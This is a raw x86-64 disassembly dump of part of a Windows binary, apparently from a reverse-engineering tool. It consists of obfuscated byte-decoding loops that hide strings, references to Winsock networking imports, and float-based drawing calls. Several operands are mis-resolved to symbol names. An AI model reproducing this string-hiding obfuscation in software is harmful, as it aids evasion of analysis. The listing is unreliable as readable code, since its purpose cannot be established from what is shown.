sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140075748
lea ecx, [r10 + 0x28]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x18
add rbx, r8
jmp 0x140075748
lea edx, [r10 + 0x38]
movzx eax, r9b
and al, dl
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
dec r10
inc r10
jmp 0x140074c93
lea edx, [r10 + 0x40]
movzx eax, r9b
and al, dl
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
inc r8
dec r10
inc r10
jmp 0x140074c93
movzx r11d, r10b
lea edx, [r11 + 0x48]
movzx eax, r9b
and al, dl
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x1400756e3
lea rcx, [r8 + 9]
cmp rbx, rcx
jae 0x140075301
lea edx, [r10 + 0x7c]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x64
jmp 0x1400751a0
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140075338
lea ecx, [r10 + 0x58]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x68
movzx eax, byte [rbp + r10 + 0x3f0]
add rax, r8
add r10, rax
inc r10
jmp 0x140074c93
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140075360
lea edx, [r10 + 0x50]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x30
add dil, dl
jmp 0x14007561f
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140075389
movzx r11d, r10b
lea edx, [r11 + 0x30]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x50
jmp 0x14007555f
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400753b4
lea ecx, [r10 + 0x28]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x18
dec r10
inc r10
jmp 0x140074c93
cmp rbx, rcx
jne 0x1400751a3
movzx r11d, r10b
lea edx, [r11 + 0x18]
movzx eax, r9b
and al, dl
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x1400756e3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140075406
movzx r11d, r10b
lea edx, [r11 - 0x7c]
movzx eax, r9b
and al, dl
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x1400756e3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140075431
lea ecx, [r10 + 0x74]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x2c
dec r10
inc r10
jmp 0x140074c93
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14007545c
lea edx, [r10 + 0x64]
movzx eax, dl
and al, r9b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
add rbx, r8
jmp 0x140075748
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140075159
lea edx, [r10 + 0x5c]
movzx eax, dl
and al, r9b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140075748
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400754c2
lea edx, [r10 - 0x50]
movzx eax, r9b
and al, dl
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, byte [rbp + r10 + 0x3f0]
add rax, r8
add r10, rax
inc r10
jmp 0x140074c93
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400754ea
lea edx, [r10 - 0x58]
movzx eax, r9b
and al, dl
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14007561f
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14007550f
lea ecx, [r10 - 0x68]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x28
jmp 0x140075748
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140075115
lea ecx, [r10 + 0x78]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x48
inc r8
dec r10
inc r10
jmp 0x140074c93
movzx r11d, r10b
lea edx, [r11 + 0x60]
movzx eax, dl
and al, r9b
movzx ecx, byte [rbp + r10 + 0x3f0]
sub cl, al
add cl, 0x30
lea edi, [rcx + rcx]
add dil, dl
sub r11b, 0x24
movzx eax, r9b
and al, r11b
add al, al
movzx ecx, dil
sub cl, al
sub cl, 4
add cl, r9b
add cl, r11b
mov byte [rbp + r10 + 0x3f0], cl
add rbx, r8
jmp 0x140075748
movzx r11d, r10b
lea ecx, [r11 + 0x58]
movzx eax, r9b
and al, cl
add al, al
sub cl, al
lea edi, [rcx - 0x68]
jmp 0x1400755f1
lea ecx, [r10 - 0x1c]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x3c
movzx eax, byte [rbp + r10 + 0x3f0]
add rax, r8
add r10, rax
inc r10
jmp 0x140074c93
movzx r11d, r10b
lea edx, [r11 - 0xc]
mov ecx, 0x2a
movzx eax, r9b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
sub r11b, 0x2c
movzx eax, r9b
and al, r11b
mov ecx, 0x1a
sub cl, al
add cl, cl
add cl, r9b
add cl, r11b
movzx eax, cl
mov byte [rbp + r10 + 0x3f0], al
inc r8
add rax, r8
sub r10, rax
lea ecx, [r10 + 0x50]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x30
add r9b, cl
mov byte [rbp + r10 + 0x3f0], r9b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x3f0]
add rax, r8
add r10, rax
inc r10
jmp 0x140074c93
lea edx, [r10 - 4]
movzx eax, r9b
and al, dl
mov ecx, select
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140075748
lea edx, [r10 + 0x1c]
movzx eax, r9b
and al, dl
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
inc r8
dec r10
inc r10
jmp 0x140074c93
movzx r11d, r10b
lea edx, [r11 + 0x24]
movzx eax, r9b
and al, dl
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x1400756e3
movzx r11d, r10b
lea edx, [r11 + 0x34]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x6c
add dil, dl
sub r11b, 0x1c
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
sub r9b, 0x3c
add r9b, r11b
mov byte [rbp + r10 + 0x3f0], r9b
inc r8
dec r10
inc r10
jmp 0x140074c93
lea ecx, [r10 + 0x54]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4c
add rbx, r8
jmp 0x140075748
lea rcx, [r10 + r12]
movzx eax, cl
and al, r11b
mov edx, 0x3e
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r11b
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140074c93
lea rcx, [r10 + r13]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x2c
movzx eax, byte [rbp + r10 + 0x3f0]
add rax, r8
add r10, rax
inc r10
jmp 0x140074c93
add r10b, 0x6c
movzx eax, r9b
and al, r10b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140074c90
add r10b, 0x74
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x2c
jmp 0x140074c80
lea rdi, [rbp + 0x159ff40]
jmp 0x1400757e4
lea rdi, [rbp + 0x11e3dbc]
jmp 0x1400757e4
lea rdi, [rbp + 0x3f0]
movdqa xmm0, xmmword [0x140144420]
movups xmmword [rbp + 0xb0], xmm0
lea rcx, [rbp + 0xb0]
call fcn.14000beb0
mov ebx, eax
mov dword [rsp + 0x5c], 0x41200000
movss xmm11, dword [0x14014454c]
mov dword [rsp + 0x60], 0x41c80000
call fcn.14000e8d0
mov qword [rsp + 0x40], 0
movss dword [rsp + 0x38], xmm10
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], ebx
lea r9, [rsp + 0x5c]
movaps xmm2, xmm6
mov rdx, rax
mov rcx, r14
call fcn.140022470
mov ecx, 0x2d
call fcn.14004d150
test al, 1
je 0x140075874
cmp byte [reloc.WS2_32.dll_accept], 0
sete al
mov byte [reloc.WS2_32.dll_accept], al
jmp 0x14007587b
movzx eax, byte [reloc.WS2_32.dll_accept]
test al, al
je 0x14008c4ac
mov dword [rsp + 0x64], 0x42c80000
mov dword [rsp + 0x68], 0x42c80000
xor edx, edx
lea rcx, [rsp + 0x64]
call fcn.14001aa10
mov dword [rsp + 0x6c], 0x442a0000
movss xmm6, dword [0x14014903c]
mov dword [rsp + 0x70], 0x43eb0000
xor edx, edx
lea rcx, [rsp + 0x6c]
call fcn.14001aa10
xor edx, edx
mov r8d, 0x9b
lea rcx, [0x140148e58]
call fcn.140007690
lea rcx, [rbp + 0x648]
call fcn.14000f490
call fcn.14000f460
mov rbx, rax
movdqa xmm0, xmmword [0x140148ad0]
movups xmmword [rbp + 0xc0], xmm0
lea rcx, [rbp + 0xc0]
call fcn.14000beb0
movss xmm3, dword [rbp + 0x64c]
movaps xmm1, xmm3
addss xmm1, xmm6
movss xmm2, dword [rbp + 0x648]
movaps xmm0, xmm2
addss xmm0, dword [0x140149044]
movss dword [rsp + 0x7c], xmm0
movss dword [rbp - 0x80], xmm1
addss xmm3, dword [0x140149034]
movss xmm8, dword [0x140149038]
addss xmm2, xmm8
movss dword [rbp - 0x7c], xmm2
movss dword [rbp - 0x78], xmm3
mov dword [rsp + 0x28], 0x80
movss xmm7, dword [0x14014436c]
movss dword [rsp + 0x20], xmm7
mov r9d, eax
lea r8, [rsp + 0x7c]
lea rdx, [rbp - 0x7c]
mov rcx, rbx
call fcn.140022050
movdqa xmm0, xmmword [0x140144400]
movups xmmword [rbp + 0xd0], xmm0
lea rcx, [rbp + 0xd0]
call fcn.14000beb0
movss xmm1, dword [rbp + 0x64c]
addss xmm1, xmm6
movss xmm0, dword [rbp + 0x648]
addss xmm0, xmm8
movss dword [rbp - 0x74], xmm0
movss dword [rbp - 0x70], xmm1
mov dword [rsp + 0x28], 0x50
movss dword [rsp + 0x20], xmm7
mov r9d, eax
lea r8, [rbp - 0x74]
lea rdx, [rbp + 0x648]
mov rcx, rbx
call fcn.140022050
movdqa xmm0, xmmword [0x140144410]
movups xmmword [rbp + 0xe0], xmm0
lea rcx, [rbp + 0xe0]
call fcn.14000beb0
movss xmm3, dword [rbp + 0x64c]
movaps xmm1, xmm3
addss xmm1, xmm6
movss xmm2, dword [rbp + 0x648]
movaps xmm0, xmm2
addss xmm0, dword [0x140144554]
movss dword [rbp - 0x6c], xmm0
movss dword [rbp - 0x68], xmm1
addss xmm3, xmm10
addss xmm2, xmm8
movss dword [rbp - 0x64], xmm2
movss dword [rbp - 0x60], xmm3
movss xmm12, dword [0x14014435c]
movss dword [rsp + 0x20], xmm12
mov r9d, eax
lea r8, [rbp - 0x6c]
lea rdx, [rbp - 0x64]
mov rcx, rbx
call fcn.140020f40
movdqa xmm0, xmmword [0x140144400]
movups xmmword [rbp + 0xf0], xmm0
lea rcx, [rbp + 0xf0]
call fcn.14000beb0
movss xmm3, dword [rbp + 0x64c]
movaps xmm1, xmm3
addss xmm1, dword [0x140149030]
movss xmm2, dword [rbp + 0x648]
movaps xmm0, xmm2
addss xmm0, dword [0x140149044]
movss dword [rbp - 0x5c], xmm0
movss dword [rbp - 0x58], xmm1
addss xmm3, xmm10
addss xmm2, xmm8
movss dword [rbp - 0x54], xmm2
movss dword [rbp - 0x50], xmm3
mov dword [rsp + 0x28], 0x20
movss dword [rsp + 0x20], xmm7
mov r9d, eax
lea r8, [rbp - 0x5c]
lea rdx, [rbp - 0x54]
mov rcx, rbx
call fcn.140022050
movdqa xmm0, xmmword [0x140144410]
movups xmmword [rbp + 0x54], xmm0
lea rcx, [rbp + 0x54]
call fcn.14000beb0
movss xmm2, dword [rbp + 0x64c]
addss xmm2, dword [0x140149030]
movss xmm1, dword [rbp + 0x648]
movaps xmm0, xmm1
addss xmm0, dword [0x140149044]
movss dword [rbp - 0x4c], xmm0
movss dword [rbp - 0x48], xmm2
addss xmm1, xmm8
movss dword [rbp - 0x44], xmm1
movss dword [rbp - 0x40], xmm2
movss dword [rsp + 0x20], xmm12
mov r9d, eax
lea r8, [rbp - 0x4c]
lea rdx, [rbp - 0x44]
mov rcx, rbx
call fcn.140020f40
mov dword [rbp + 0x630], 0x42480000
mov dword [rbp + 0x634], 0x42480000
mov dword [rbp - 0x34], 0x41700000
mov dword [rbp - 0x30], 0x41c00000
lea rcx, [rbp - 0x34]
call fcn.14001a6b0
xorps xmm0, xmm0
movups xmmword [rbp + 0x64], xmm0
movdqa xmm1, xmmword [0x140144420]
movups xmmword [rbp + 0x74], xmm1
mov dword [rbp - 0x2c], 0x3f800000
mov dword [rbp - 0x28], 0x3f800000
mov dword [rbp - 0x24], 0
mov dword [rbp - 0x20], 0
lea rax, [rbp + 0x64]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x24]
lea rdx, [rbp + 0x630]
mov rcx, qword [0x1401ecea8]
call fcn.14003d2f0
mov dword [rbp - 0x1c], 0x41200000
mov dword [rbp - 0x18], 0x43110000
lea rcx, [rbp - 0x1c]
call fcn.14001a6b0
call fcn.14000a4c0
cmp dword [0x1401ecdbc], 0
sete r8b
mov rdx, qword [0x1401ecea0]
lea rcx, [0x140148e5c]
call fcn.140040310
test al, al
je 0x140075c17
xor eax, eax
mov dword [0x1401ecdbc], eax
jmp 0x140075c1d
mov eax, dword [0x1401ecdbc]
cmp eax, 1
sete r8b
mov rdx, qword [0x1401ece98]
lea rcx, [0x140148e60]
call fcn.140040310
test al, al
je 0x140075c48
mov eax, 1
mov dword [0x1401ecdbc], eax
jmp 0x140075c4e
mov eax, dword [0x1401ecdbc]
cmp eax, 2
sete r8b
mov rdx, qword [0x1401eceb0]
lea rcx, [0x140148e64]
call fcn.140040310
test al, al
je 0x140075c79
mov eax, 2
mov dword [0x1401ecdbc], eax
jmp 0x140075c7f
mov eax, dword [0x1401ecdbc]
cmp eax, 3
sete r8b
mov rdx, qword [0x1401eceb8]
lea rcx, [0x140148e68]
call fcn.140040310
test al, al
je 0x140075ca7
mov dword [0x1401ecdbc], 3
call fcn.14000d440
lea rcx, [rbp - 0x14]
call fcn.14000e820
movss xmm0, dword [rax]
movss xmm6, dword [0x140144334]
mulss xmm0, xmm6
subss xmm0, dword [0x140144558]
movss dword [rbp - 0xc], xmm0
mov dword [rbp - 8], 0x41700000
lea rcx, [rbp - 0xc]
call fcn.14001a6b0
mov rcx, qword [0x1401ece70]
call fcn.140016900
mov byte [rbp + 0x420], 0xca
mov byte [rbp + 0x421], 0xb4
mov byte [rbp + 0x422], 0xa4
mov byte [rbp + 0x423], 0xb6
mov byte [rbp + 0x424], 0x56
mov byte [rbp + 0x425], 0x56
mov byte [rbp + 0x426], 0x4b
mov byte [rbp + 0x427], 7
mov byte [rbp + 0x428], 0x30
mov byte [rbp + 0x429], 0x53
mov byte [rbp + 0x42a], 0x4b
mov byte [rbp + 0x42b], 0x5d
mov byte [rbp + 0x42c], 0x4d
mov byte [rbp + 0x42d], 0x51
mov byte [rbp + 0x42e], 0x43
mov byte [rbp + 0x42f], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x430], WSAGetLastError
mov byte [rbp + 0x431], 9
mov byte [rbp + 0x432], 0x28
mov byte [rbp + 0x433], 0x56
mov byte [rbp + 0x434], 0x5d
mov byte [rbp + 0x435], 0x41
mov byte [rbp + 0x436], 0x5a
mov byte [rbp + 0x437], reloc.WS2_32.dll_listen
mov byte [rbp + 0x438], reloc.WS2_32.dll_recv
mov byte [rbp + 0x439], 0xf1
xor eax, eax
mov qword [rbp + 0x43a], rax
mov word [rbp + 0x442], ax
mov byte [rbp + 0x444], al
movabs r14, 0x641501ea3c790cfc
movabs r15, 0x84bd113c204174dc
movabs r13, 0xbc930d67a74f5ae4
movabs r12, 0x2c3f05beb56b26f4
movzx edi, byte [rsp + 0x50]
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
nop word [rax + rax]
xor r10d, r10d
cmp r10, 0x25
jae 0x14007674c
movzx r9d, byte [rbp + r10 + 0x420]
mov r11, r9
nop dword [rax]
cmp rbx, r10
ja 0x140076743
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140075e4c
lea rcx, [r10 + r14]
mov rax, r9
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r9
add rdi, rcx
add dil, 0x1c
jmp 0x140075e86
je 0x1400766cc
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140076644
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140076615
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400765f6
lea rax, [r8 + 6]
cmp rbx, rax
je 0x1400765d5
cmp r8, r10
ja 0x14007673a
lea rax, [r8 + 0xa]
cmp rbx, rax
jae 0x140075eb4
lea edx, [r10 - 0x54]
movzx eax, dl
and al, r9b
mov ecx, 0x26
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140075f00
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140076587
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140076562
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140076540
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140076525
lea rax, [r8 + 6]
cmp rbx, rax
je 0x1400764f4
nop word [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x140076180
nop dword [rax]
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14007615d
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140076135
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x140076110
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x1400760f1
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x1400760d6
lea rbx, [r8 + 0x400]
lea r8, [rbx + 0x2a]
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x14007671a
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x1400766fd
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x14007600b
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x140075ff0
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x1400760ac
lea rbx, [r8 + 0x200]
lea r8, [rbx + 0x41]
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x14007607f
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x140076064
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x140076045
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x140076026
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x140075f10
lea rbx, [r8 + 0x64]
lea r8, [rbx + 0x61]
jmp 0x140075f10
lea ecx, [r10 - 0x24]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 4
jmp 0x140075e86
lea ecx, [r10 - 0x1c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3c
jmp 0x140075e16
lea edx, [r10 - 0x78]
movzx eax, dl
and al, r9b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007662b
lea edx, [r10 - 0x70]
movzx eax, dl
and al, r9b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007665e
lea ecx, [r10 - 0x68]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x28
jmp 0x140076689
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x60
movzx eax, byte [rbp + r10 + 0x420]
add rax, r8
add r10, rax
inc r10
jmp 0x140075e03
lea edx, [r10 - 0x4c]
movzx eax, dl
and al, r9b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
mov byte [rbp + r10 + 0x420], dil
inc r10
jmp 0x140075e03
lea ecx, [r10 + 0x10]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x70
jmp 0x140076689
lea ecx, [r10 + 0x30]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x50
movzx r11d, r10b
jmp 0x1400764a4
lea edx, [r10 + 0x38]
movzx eax, dl
and al, r9b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x140075e03
lea edx, [r10 + 0x40]
movzx eax, dl
and al, r9b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x140075e03
lea edx, [r10 + 0x48]
movzx eax, dl
and al, r9b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x1400765a5
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140076239
lea edx, [r10 - 4]
movzx eax, dl
and al, r9b
mov ecx, select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
lea rax, [r8 + rbx]
cmp rax, 0x28
je 0x1400764d1
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jbe 0x1400762fd
lea ecx, [r10 + 0xc]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x54
cmp rbx, 0x10
jae 0x140076482
lea rax, [r8 + 0x80]
cmp rbx, rax
jbe 0x1400763c6
lea ecx, [r10 - 0x48]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 8
cmp r8, 9
jb 0x1400760c6
movzx r11d, r10b
lea ecx, [r11 + 0x68]
movzx eax, cl
and al, r9b
mov edx, reloc.WS2_32.dll_sendto
sub dl, al
add dl, dl
add dl, cl
add dl, r9b
lea edi, [rdx + rdx]
jmp 0x1400765a5
jne 0x140076268
lea ecx, [r10 + 0x58]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x68
movzx eax, byte [rbp + r10 + 0x420]
add rax, r8
add r10, rax
inc r10
jmp 0x140075e03
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007628c
lea ecx, [r10 + 0x50]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x30
jmp 0x140076689
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400762a3
lea edx, [r10 + 0x38]
mov ecx, 0x3c
jmp 0x1400765ff
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x1400762cd
lea ecx, [r10 + 0x28]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x18
dec r10
inc r10
jmp 0x140075e03
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400761a7
movzx r11d, r10b
lea edx, [r11 + 0x18]
movzx eax, dl
and al, r9b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400765a5
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140076325
movzx r11d, r10b
lea ecx, [r11 + 4]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1c
jmp 0x1400765a5
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140076353
lea edx, [r10 - 0xc]
movzx eax, dl
and al, r9b
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x140075e03
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007637a
lea ecx, [r10 - 0x1c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3c
add rbx, r8
jmp 0x14007662b
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007639a
lea ecx, [r10 - 0x24]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
jmp 0x140076627
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400761db
lea edx, [r10 - 0x2c]
movzx eax, dl
and al, r9b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007665e
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140076400
lea edx, [r10 - 0x50]
movzx eax, dl
and al, r9b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x420]
add rax, r8
add r10, rax
inc r10
jmp 0x140075e03
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140076428
lea edx, [r10 - 0x58]
movzx eax, dl
and al, r9b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140076689
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140076451
movzx r11d, r10b
lea edx, [r11 - 0x78]
movzx eax, dl
and al, r9b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400764a4
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007620b
lea ecx, [r10 + 0x80]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x80
dec r10
inc r10
jmp 0x140075e03
movzx r11d, r10b
lea edx, [r11 + 0x60]
movzx eax, dl
and al, r9b
movzx ecx, byte [rbp + r10 + 0x420]
sub cl, al
add cl, 0x30
lea edi, [rcx + rcx]
add dil, dl
add r11b, 0x5c
movzx eax, r9b
and al, r11b
mov ecx, 0x3e
sub cl, al
add cl, cl
add cl, r9b
add cl, dil
add cl, r11b
mov byte [rbp + r10 + 0x420], cl
add rbx, r8
jmp 0x14007662b
lea ecx, [r10 + 0x58]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, byte [rbp + r10 + 0x420]
lea edi, [r9 + rcx]
sub dil, 0x68
jmp 0x14007665e
lea edx, [r10 + 0x64]
movzx eax, dl
and al, r9b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x420]
add rax, r8
add r10, rax
inc r10
jmp 0x140075e03
lea ecx, [r10 + 0x74]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2c
jmp 0x14007665e
lea ecx, [r10 - 0x6c]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0xc
dec r10
inc r10
jmp 0x140075e03
lea ecx, [r10 - 0x64]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x44
inc r8
dec r10
inc r10
jmp 0x140075e03
movzx r11d, r10b
lea edx, [r11 - 0x5c]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x7c
add dil, dl
add r11b, 0x64
movzx eax, r11b
and al, r9b
mov ecx, 0x22
sub cl, al
add cl, cl
add cl, r11b
add cl, r9b
mov byte [rbp + r10 + 0x420], cl
inc r8
dec r10
inc r10
jmp 0x140075e03
lea ecx, [r10 - 0x3c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5c
dec r10
inc r10
jmp 0x140075e03
lea edx, [r10 - 0x2c]
mov ecx, 0x1a
movzx eax, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
add rbx, r8
jmp 0x14007662b
lea rcx, [r10 + r15]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 4
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140075e03
lea rcx, [r10 + r13]
movzx r9d, r11b
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3c
lea edx, [r10 + 0x54]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
sub cl, 0x4c
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x420], al
inc r8
add rax, r8
sub r10, rax
lea ecx, [r10 + 0x50]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x30
add cl, r9b
mov byte [rbp + r10 + 0x420], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x420]
add rax, r8
add r10, rax
inc r10
jmp 0x140075e03
lea rcx, [r10 + r12]
movzx eax, cl
and al, r11b
